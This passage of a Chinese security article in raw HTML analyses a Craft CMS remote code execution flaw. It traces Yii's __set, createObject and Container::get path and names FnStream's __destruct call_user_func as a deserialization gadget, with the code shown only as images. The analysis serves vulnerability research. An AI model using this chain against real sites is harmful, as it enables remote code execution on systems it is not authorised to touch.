leaf="">）进行赋值：</span><figure style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));margin: 1.5em 8px;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;color: rgb(63, 63, 63);"><span leaf=""><img data-imgfileid="100008300" class="rich_pages wxw-img" data-ratio="0.4881889763779528" data-type="png" data-w="1016" style="box-sizing: border-box;border: 1px solid rgba(0, 0, 0, 0.04);display: block;vertical-align: middle;max-width: 100%;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;margin: 0.1em auto 0.5em;border-radius: 8px;height: auto !important;" title="null" src="https://wechat2rss.xlab.app/img-proxy/?k=7c98d2d0&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2F9UsWg6ibZLAxTibMssetbldyic7lcg4BMkRYickyIt9FgPK40lL1vtYk9DF1BnK7bvSQoU9sqrhLibgGkjWswtDsl3A%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></span><figcaption style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));text-align: center;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 0.8em;color: rgb(136, 136, 136);"></figcaption></figure><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">AddressCondition</span></p><span leaf="">继承了</span><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">\yii\base\Component</span></p><span leaf="">类，并且该类重写了</span><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">__set</span></p><span leaf="">魔法函数，因此遍历过程中每进行一次不存在对象的赋值，都会触发</span><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">__set</span></p><span leaf="">函数：</span><figure style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));margin: 1.5em 8px;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;color: rgb(63, 63, 63);"><span leaf=""><img data-imgfileid="100008301" class="rich_pages wxw-img" data-ratio="0.5952848722986247" data-type="png" data-w="1018" style="box-sizing: border-box;border: 1px solid rgba(0, 0, 0, 0.04);display: block;vertical-align: middle;max-width: 100%;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;margin: 0.1em auto 0.5em;border-radius: 8px;height: auto !important;" title="null" src="https://wechat2rss.xlab.app/img-proxy/?k=4e19596d&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2F9UsWg6ibZLAxTibMssetbldyic7lcg4BMkRvW4P3Ktq6H2bJU0aWrriaM4Tj4bbBhSibguE7IXHlrib0QCN8Hl3wbI4w%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></span><figcaption style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));text-align: center;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 0.8em;color: rgb(136, 136, 136);"></figcaption></figure><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">__set</span></p><span leaf="">函数中存在如下判断过程：当</span><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">$name</span></p><span leaf="">中存在</span><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">as </span></p><span leaf="">字符串时，将会调用</span><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">\yii\BaseYii::createObject</span></p><span leaf="">函数：</span><figure style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));margin: 1.5em 8px;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;color: rgb(63, 63, 63);"><span leaf=""><img data-imgfileid="100008298" class="rich_pages wxw-img" data-ratio="0.41846758349705304" data-type="png" data-w="1018" style="box-sizing: border-box;border: 1px solid rgba(0, 0, 0, 0.04);display: block;vertical-align: middle;max-width: 100%;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;margin: 0.1em auto 0.5em;border-radius: 8px;height: auto !important;" title="null" src="https://wechat2rss.xlab.app/img-proxy/?k=a446829c&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2F9UsWg6ibZLAxTibMssetbldyic7lcg4BMkR28ib1IcrB8nuMlFnMxlcxDtKtzDicGgw3O0jnRS5iaM7aoIictgeSB1Aiag%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></span><figcaption style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));text-align: center;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 0.8em;color: rgb(136, 136, 136);"></figcaption></figure><span leaf="">当存在</span><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">class</span></p><span leaf="">或者</span><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">__class</span></p><span leaf="">这样的</span><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">key</span></p><span leaf="">时，将会调用</span><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">\yii\di\Container::get</span></p><span leaf="">函数，而</span><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">get</span></p><span leaf="">函数会通过</span><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">build</span></p><span leaf="">来完成</span><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">class</span></p><span leaf="">类的实例化：</span><figure style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));margin: 1.5em 8px;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;color: rgb(63, 63, 63);"><span leaf=""><img data-imgfileid="100008302" class="rich_pages wxw-img" data-ratio="0.6162904808635917" data-type="png" data-w="1019" style="box-sizing: border-box;border: 1px solid rgba(0, 0, 0, 0.04);display: block;vertical-align: middle;max-width: 100%;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;margin: 0.1em auto 0.5em;border-radius: 8px;height: auto !important;" title="null" src="https://wechat2rss.xlab.app/img-proxy/?k=6a40518b&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2F9UsWg6ibZLAxTibMssetbldyic7lcg4BMkRCp7GJ3msbIPiaMLicJOKMrqp2fIIzNBseMEIkPhlDuGCnUvReaEanI0w%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></span><figcaption style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));text-align: center;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 0.8em;color: rgb(136, 136, 136);"></figcaption></figure><figure style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));margin: 1.5em 8px;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;color: rgb(63, 63, 63);"><span leaf=""><img data-imgfileid="100008307" class="rich_pages wxw-img" data-ratio="0.5919765166340509" data-type="png" data-w="1022" style="box-sizing: border-box;border: 1px solid rgba(0, 0, 0, 0.04);display: block;vertical-align: middle;max-width: 100%;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;margin: 0.1em auto 0.5em;border-radius: 8px;height: auto !important;" title="null" src="https://wechat2rss.xlab.app/img-proxy/?k=cf216047&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2F9UsWg6ibZLAxTibMssetbldyic7lcg4BMkRcG3tAV51yIiaofpsvtVIEueMwDSVjE16j20puianAiao0ahKqcibg0WvmA%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></span><figcaption style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));text-align: center;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 0.8em;color: rgb(136, 136, 136);"></figcaption></figure><figure style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));margin: 1.5em 8px;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;color: rgb(63, 63, 63);"><span leaf=""><img data-imgfileid="100008304" class="rich_pages wxw-img" data-ratio="0.34513274336283184" data-type="png" data-w="1017" style="box-sizing: border-box;border: 1px solid rgba(0, 0, 0, 0.04);display: block;vertical-align: middle;max-width: 100%;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;margin: 0.1em auto 0.5em;border-radius: 8px;height: auto !important;" title="null" src="https://wechat2rss.xlab.app/img-proxy/?k=1bbf7f4f&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2F9UsWg6ibZLAxTibMssetbldyic7lcg4BMkRmAhS2auSNjDq6Yl2SRpABzjKpSiaTicnDz6vBriclUNJQYicRczTaqEbLg%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></span><figcaption style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));text-align: center;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 0.8em;color: rgb(136, 136, 136);"></figcaption></figure><figure style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));margin: 1.5em 8px;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;color: rgb(63, 63, 63);"><span leaf=""><img data-imgfileid="100008306" class="rich_pages wxw-img" data-ratio="0.33431372549019606" data-type="png" data-w="1020" style="box-sizing: border-box;border: 1px solid rgba(0, 0, 0, 0.04);display: block;vertical-align: middle;max-width: 100%;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;margin: 0.1em auto 0.5em;border-radius: 8px;height: auto !important;" title="null" src="https://wechat2rss.xlab.app/img-proxy/?k=2f05a086&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2F9UsWg6ibZLAxTibMssetbldyic7lcg4BMkRIS8faStz70RLyxaS1oVaFbaO2Wt1qFuL1ZicwG5qibn5wnmPibfsALL1A%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></span><figcaption style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));text-align: center;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 0.8em;color: rgb(136, 136, 136);"></figcaption></figure><div style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));margin: 1.5em 8px;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;letter-spacing: 0.1em;color: rgb(63, 63, 63);"><span leaf=""> </span><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">class</span></p><span leaf=""> 可控，只要找到合适的类就可能实现任意代码执行。</span></div><h3 data-heading="true" style="box-sizing: border-box;border-width: 1px 1px 1px 4px;border-style: solid;border-color: color-mix(in srgb, rgb(15, 76, 129) 10%, transparent) color-mix(in srgb, rgb(15, 76, 129) 10%, transparent) color-mix(in srgb, rgb(15, 76, 129) 10%, transparent) rgb(15, 76, 129);font-size: 18px;font-weight: bold;margin: 2em 8px 0.75em 0px;text-align: left;line-height: 2.4em;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;padding-left: 12px;color: rgb(63, 63, 63);border-radius: 6px;background: color-mix(in srgb, rgb(15, 76, 129) 8%, transparent);"><span leaf="">漏洞利用</span></h3><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">Craft CMS</span></p><span leaf="">自带的</span><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">FnStream</span></p><span leaf="">库，在</span><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">PHP</span></p><span leaf="">反序列化</span><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">gadget</span></p><span leaf="">构造中经常用到。其</span><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">__destruct</span></p><span leaf="">函数中调用了</span><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">call_user_func</span></p><span leaf="">，这里刚好可以用来触发</span><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">RCE</span></p><span leaf="">：</span><figure style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));margin: 1.5em 8px;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;color: rgb(63, 63, 63);"><span leaf=""><img data-imgfileid="100008303" class="rich_pages wxw-img" data-ratio="0.344390243902439" data-type="png" data-w="1025" style="box-sizing: border-box;border: 1px solid rgba(0, 0, 0, 0.04);display: block;vertical-align: middle;max-width: 100%;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;margin: 0.1em auto 0.5em;border-radius: 8px;height: auto !important;" title="null" src="https://wechat2rss.xlab.app/img-proxy/?k=110d56f6&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2F9UsWg6ibZLAxTibMssetbldyic7lcg4BMkRicJEYE4GiadfLlL7sSibpFjQEyTqujglCCvc2ZbCFFMnfXo8rlln4rdSw%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></span><figcaption style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));text-align: center;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 0.8em;color: rgb(136, 136, 136);"></figcaption></figure><h2 data-heading="true" style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-size: 19.5px;font-weight: bold;margin: 4em auto 2em;text-align: center;line-height: 